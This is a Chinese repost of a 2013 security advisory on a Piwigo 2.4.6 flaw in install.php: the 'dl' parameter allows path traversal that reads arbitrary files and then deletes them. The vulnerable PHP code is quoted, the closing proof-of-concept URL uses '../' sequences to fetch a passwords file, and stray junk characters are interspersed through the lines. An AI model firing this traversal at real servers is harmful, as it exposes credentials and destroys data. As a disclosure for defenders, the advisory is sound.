Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

8 x) m$ ~3 ?' xPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
/ c1 P0 M. c8 l/ a( r====================================================================
/install.php:
-------------
2 B, E0 k. \0 a4 x! w5 J7 C4 f; K113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
: ?* b4 }) @# f0 d3 E: j114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
1 K; _* b7 o# E! e# t! {- H116:   header('Cache-Control: no-cache, must-revalidate');
' a/ e) G* z- K  R" j117:   header('Pragma: no-cache');
9 }: [0 C' }4 j1 r118:   header('Content-Disposition: attachment; filename="database.inc.php"');
/ N+ `% v- i3 m3 u* u: r- G" D; ]119:   header('Content-Transfer-Encoding: binary');
( s2 D9 h2 ~0 X  T120:   header('Content-Length: '.filesize($filename));
$ t$ e; F) U& M2 H: H& W" I5 Q121:   echo file_get_contents($filename);
122:   unlink($filename);
, }& y" w* _- x! ^. G3 [2 s& _123:   exit();
124: }
; ]# V9 y. C0 \====================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
  K( `/ [# W! x5 O5 T2 {" n           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
3 \& ~6 i# m/ R4 B                            @zeroscience

Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
4 X, R5 u( P. x4 N8 cVendor Patch: http://piwigo.org/bugs/view.php?id=2843

: ]6 X. D. `4 L/ L15.02.2013

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5 u, q0 D" p0 [http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
7 P* ~* f+ }* v6 P9 \1 a6 k